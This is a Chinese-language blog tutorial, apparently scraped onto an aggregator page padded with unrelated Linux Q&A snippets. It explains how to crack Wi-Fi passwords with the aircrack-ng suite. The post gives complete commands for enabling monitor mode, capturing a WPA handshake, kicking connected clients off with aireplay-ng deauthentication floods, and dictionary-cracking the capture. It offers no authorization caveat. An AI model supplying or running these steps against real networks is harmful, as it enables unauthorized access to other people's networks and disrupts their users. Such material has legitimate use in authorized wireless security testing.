使用aircrack-ng套件破解wifi密码

2023-11-05

一、准备工作

1.需要有一个无线网卡,需要支持monitor模式
2.Kali系统(自行单独安装套件也可以)
3.一个完善的密码字典

二、监听工作

首先将无线网卡连接到kali

在这里插入图片描述

iwconfig

查看是否连接成功
在这里插入图片描述

airmon-ng

可以查看无线网卡是否有监听功能
在这里插入图片描述

airmon-ng check

可以查看是否有进程会影响监听
在这里插入图片描述

airmon-ng check kill

可以关闭影响监听的进程

在这里插入图片描述

airmon-ng start wlan0

开启监听模式(框框里面的是开启监听模式的网卡接口)
在这里插入图片描述

airodump-ng <网卡接口名称>

例如:airodump-ng wlan0mon
开启监听,这里要记录需要测试AP的BSSID和CH
在这里插入图片描述

三、抓包工作

airodump-ng -c<CH> --bssid <BSSID> -w <握手包位置> <网卡接口名称>

例如: airodump-ng -c6 --bssid AA:AA:AA:AA:AA:AA -w ~/ wlan0mon
在这里插入图片描述

开始强制断开连接AP的station,对station进行一定频率的deauth包发送使Station断开重连AP可以捕获到重连的握手包
这时候需要新建一个终端,然后执行命令

aireplay-ng -0<发送次数> -a <AP的BSSID> -c <station的MAC地址> <网卡接口名称>

例如: aireplay-ng -02 -a AA:AA:AA:AA:AA:AA -c BB:BB:BB:BB:BB:BB wlan0mon
在这里插入图片描述

然后看看之前监听的终端,如果是下图的情况说明已经抓包成功,没有的话就继续进行deauth发送
在这里插入图片描述

四、破解工作
这时候应该已经把握手包保存到本地,然后开始破解

Aircrack-ng -a<握手包类型> -b <AP的BSSID> -w <字典路径> <握手包cap文件>

例如:aircrack -a2 -b AA:AA:AA:AA:AA:AA -w dic.txt 7.cap
在这里插入图片描述

这时候就已经将密码破解了。

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

使用aircrack-ng套件破解wifi密码 的相关文章

  • 跟踪 Linux 程序中活跃使用的内存

    我想跟踪各种程序在特定状态下接触了多少内存 例如 假设我有一个图形程序 最小化时 它可能会使用更少的内存 因为它不会重新绘制窗口 这需要读取图像和字体并执行大量库函数 这些对象仍然可以在内存中访问 但实际上并没有被使用 类似的工具top它们
  • 如何在 Linux 中编写文本模式 GUI? [关闭]

    Closed 这个问题正在寻求书籍 工具 软件库等的推荐 不满足堆栈溢出指南 help closed questions 目前不接受答案 当我编写脚本 程序时 我经常想弹出一个简单的文本 gui 来提示输入 我该怎么做 例如 来自 Shel
  • 大多数 Linux 系统头文件与 C++ 兼容吗?

    大多数 Linux 系统头文件 API C 兼容吗 今天我试图做这样的事情 include
  • 我可以从命令行打印 html 文件(带有图像、css)吗?

    我想从脚本中打印带有图像的样式化 html 页面 谁能建议一个开源解决方案 我使用的是 Linux Ubuntu 8 04 但也对其他操作系统的解决方案感兴趣 你可以给html2ps http user it uu se jan html2
  • chown:不允许操作

    我有问题 我需要通过 php 脚本为系统中的不同用户设置文件所有者权限 所以我通过以下命令执行此操作 其中 1002 是系统的用户 ID file put contents filename content system chown 100
  • Linux 中的动态环境变量?

    Linux 中是否可以通过某种方式拥有动态环境变量 我有一个网络服务器 网站遵循以下布局 site qa production 我想要一个环境变量 例如 APPLICATION ENV 当我在 qa 目录中时设置为 qa 当我在生产目录中时
  • Android 时钟滴答数 [赫兹]

    关于 proc pid stat 中应用程序的总 CPU 使用率 https stackoverflow com questions 16726779 total cpu usage of an application from proc
  • 所有平台上的java

    如果您想用 java 为 Windows Mac 和 Linux 编写桌面应用程序 那么所有这些代码都相同吗 您只需更改 GUI 即可使 Windows 应用程序更像 Windows 等等 如果不深入细节 它是如何工作的 Java 的卖点之
  • vector 超出范围后不清除内存

    我遇到了以下问题 我不确定我是否错了或者它是一个非常奇怪的错误 我填充了一个巨大的字符串数组 并希望在某个点将其清除 这是一个最小的例子 include
  • arm64和armhf有什么区别?

    Raspberry Pi Type 3 具有 64 位 CPU 但其架构不是arm64 but armhf 有什么区别arm64 and armhf armhf代表 arm hard float 是给定的名称Debian 端口 https
  • Pyaudio 安装错误 - “命令‘gcc’失败,退出状态 1”

    我正在运行 Ubuntu 11 04 Python 2 7 1 并想安装 Pyaudio 于是我跑了 sudo easy install pyaudio 在终端中 进程退出并显示以下错误消息 Searching for pyaudio Re
  • 如何在Linux内核源代码中打印IP地址或MAC地址

    我必须通过修改 Linux 内核源代码来稍微改变 TCP 拥塞控制算法 但为了检查结果是否正确 我需要记录 MAC 或 IP 地址信息 我使用 PRINTK 函数来打印内核消息 但我感觉很难打印出主机的MAC IP地址 printk pM
  • Linux 可执行文件与 OS X“兼容”吗?

    如果您在基于 Linux 的平台上用 C 语言编译一个程序 然后将其移植以使用 MacOS 库 它会工作吗 来自编译器的核心机器代码在 Mac 和 Linux 上兼容吗 我问这个问题的原因是因为两者都是 基于 UNIX 的 所以我认为这是真
  • 在 Linux 上使用多处理时,TKinter 窗口不会出现

    我想生成另一个进程来异步显示错误消息 同时应用程序的其余部分继续 我正在使用multiprocessingPython 2 6 中的模块来创建进程 我试图用以下命令显示窗口TKinter 这段代码在Windows上运行良好 但在Linux上
  • 有谁知道在哪里定义硬件、版本和序列号。 /proc/cpuinfo 的字段?

    我想确保我的 proc cpuinfo 是准确的 目前它输出 Hardware am335xevm Revision 0000 Serial 0000000000000000 我可以在代码中的哪里更改它以给出实际值 这取决于 Linux 的
  • ubuntu:升级软件(cmake)-版本消歧(本地编译)[关闭]

    Closed 这个问题是无关 help closed questions 目前不接受答案 我的机器上安装了 cmake 2 8 0 来自 ubuntu 软件包 二进制文件放置在 usr bin cmake 中 我需要将 cmake 版本至少
  • 将 jar 作为 Linux 服务运行 - init.d 脚本在启动应用程序时卡住

    我目前正在致力于在 Linux VM 上实现一个可运行的 jar 作为后台服务 我已经使用了找到的例子here https gist github com shirish4you 5089019作为工作的基础 并将 start 方法修改为
  • ftrace:仅打印trace_printk()的输出

    是否可以只转储trace printk 输出于trace文件 我的意思是过滤掉函数跟踪器 或任何其他跟踪器 中的所有函数 一般来说 您可以在选项目录中关闭选项 sys kernel debug tracing options Use ls显
  • 如何通过ssh检查ubuntu服务器上是否存在php和apache

    如何通过ssh检查Ubuntu服务器上apache是 否安装了php和mysql 另外如果安装的话在哪个目录 如果安装了其他软件包 例如 lighttpd 那么它在哪里 确定程序是否已安装的另一种方法是使用which命令 它将显示您正在搜索
  • Linux 上有关 getBounds() 和 setBounds() 的 bug_id=4806603 的解决方法?

    在 Linux 平台上 Frame getBounds 和 Frame setBounds 的工作方式不一致 这在 2003 年就已经有报道了 请参见此处 http bugs java com bugdatabase view bug do

随机推荐

  • Mybatis

    第1章 框架概述 1 1 软件开发常用结构 1 1 1 三层架构 三层架构包含的三层 界面层 User Interface layer 业务逻辑层 Business Logic Layer 数据访问层 Data access layer 三
  • 小熊带你学Python(六)——字符串

    上一节提到序列的应用 序列就是指代的字符串 列表 元组 集合 字典等数据结构的一个集合 我们先从字符串开始讲起 字符串 是一串字母的集合 我们在编程实现各种功能时 很多时候其实都是在操作这些字符串 字符串的变化中实现了各种功能 1 字符串的
  • Springboot项目优化日志logback-spring.xml详解

    Springboot项目优化日志logback spring xml详解 一 描述 二 配置文件 三 效果 一 描述 几种常见的日志 Log4j 是最早的日志框架 是apach旗下的 可以单独使用 也可配合日志框架JCL使用 Log4j2
  • 仅提供信息存储空间服务器,Docker本身的存储空间管理

    原标题 Docker本身的存储空间管理 目标 两台host主机透过一个网络接口共享磁盘设备 iSCSI 共享设备的主机和名字 target dev loop8 gt initiator dev sdb gt initiator docker
  • 摄影毁一生单反穷三代顺口溜_什么?这点预算你竟买了一套摄影设备!

    图片 来自网络 文字 小松鼠 看了文章标题而点进来的朋友们 都是有这方面想法的 本文适合于家境一般的业余摄影爱好者 如果家里有矿或是立志成为专业摄影师的 就没必要往下看了 注 文末有福利 以下为正文 先来一组图 光照的光 花光的光 俗话说
  • 简单的线性单向链表

    数组的不足 我们之前用的数组也是一种数据结构 数组是顺序存储的 数组逻辑关系上相邻的两个元素在物理位置上也相邻 这就导致了在对数组进行插入或删除操作时 需移动大量数组元素 并且数组的长度是固定的 而且必须预先定义 数组的长度难以缩放 对长度
  • glut实现雪花动态效果

    glut实现雪花动态效果 实验题目 总体思路 3 2主要函数说明 按键操作 实验结果 实验题目 1 绘制雪花 2 在屏幕的多个随机位置绘制雪花 3 使每朵雪花绕自己的中心旋转 4 使每朵雪花下降 5 翻页键控制相机视野 按UP键增加物体与观
  • Vue中使用element-plus中的el-dialog定义弹窗-内部样式修改-v-model实现-demo

    效果图 实现代码
  • Three.js系列: 造个海洋球池来学习物理引擎

    github地址 https github com hua1995116 Fly Three js 大家好 我是秋风 继上一篇 Three js系列 游戏中的第一 三人称视角 今天想要和大家分享的呢 是做一个海洋球池 海洋球大家都见过吧 就
  • 北京突然宣布,元宇宙重大消息

    北京青年报记者从2022全球数字经济大会新闻发布会上了解到 2022全球数字经济大会将于7月28日至30日在国家会议中心举行 本届大会将聚焦绿色创新发展 数字贸易 数据价值化 全球规则治理等热点议题 深度探讨互联网3 0 数据要素 开源 5
  • JS的100道经典面试题(一)只看这四篇就够了,收藏起来以后偷偷看

    年轻人你不讲武德 耗子尾汁 总结就是为了形成自己的js知识网 提升自己 加油 开始干 1 介绍js的基本数据类型 答 Undefined Null Boolean Number String 2 js有哪些内置对象 答 数据封装类对象 Ob
  • 深度学习优化学习方法(一阶、二阶)

    深度学习优化学习方法总结 一阶为主 https blog csdn net sunflower sara article details 81321886 常用的优化算法 梯度下降法 牛顿法 拟牛顿法 共轭梯度法 二阶为主 https bl
  • Block底层原理读书笔记-《高级编程- iOS与OS多线程和内存管理》(更新中)

    1 一个Block 真正的底层都有些什么 Block会被解析成一个结构体 这里成为Block结构体 这个结构体里有 1 isa指针 说明Block的本质是一个对象 指向Stack 堆 2 有函数指针 这个函数指针指向一个函数体 该函数体的内
  • C# 企业微信接口发送消息出现错误代码60020解决方案,希望能给大家带来帮助。

    这是企业微信接口发送消息调用的代码源地址 https blog csdn net wanglui1990 article details 79744407 代码运行起来是没有问题的 但唯一出现的问题就是错误代码60020 点击企业微信 应用
  • 数据结构——单链表OJ题(第二弹)

    单链表OJ题 前言 一 返回链表开始入环的第一个节点 思路一 思路二 二 返回链表的深度拷贝 总结 前言 此次练习题有两道 有点小难度 但相信难不住大家的 我也会给出两道OJ题的链接 大家也赶快去试一试吧 一 返回链表开始入环的第一个节点
  • vue2.x与vue3.x中自定义指令详解

    目录 前言 一 自定义指令分类 二 Vue2 x自定义指令钩子函数 1 bind与update区别 2 update与componentUpdated区别 3 钩子函数的参数 4 局部自定义指令 5 全局自定义指令 6 简写形式 三 Vue
  • springboot下配置mybatis的call-setters-on-nulls属性

    使用Mybatis时 如果查询语句中某些字段值是null的 则这个字段就无法返回 对于后台数据处理来说 这是一个致命的问题 于是通过修改Mybatis的配置来解决这个问题 在springmvc下 在mybatis的配置文件里面增加以下配置即
  • C++ opencv处理kinect红外数据和彩色数据

    kinect好像已是明日黄花 但现在需要用这个做交互的人还不少 要做手势识别 于是入手一枚二手kinect2 0 入坑玩玩 做手势识别 直觉上要用opencv 从网上搜的资料来看 大多是通过openNi来操作kinect 而且要openNi
  • grpc-go源码剖析三十五之滑动窗口基本介绍以及整体流程图介绍?

    已发表的技术专栏 0 grpc go protobuf multus cni 技术专栏 总入口 1 grpc go 源码剖析与实战 文章目录 2 Protobuf介绍与实战 图文专栏 文章目录 3 multus cni 文章目录 k8s多网
  • 使用aircrack-ng套件破解wifi密码

    一 准备工作 1 需要有一个无线网卡 需要支持monitor模式 2 Kali系统 自行单独安装套件也可以 3 一个完善的密码字典 二 监听工作 首先将无线网卡连接到kali iwconfig 查看是否连接成功 airmon ng 可以查看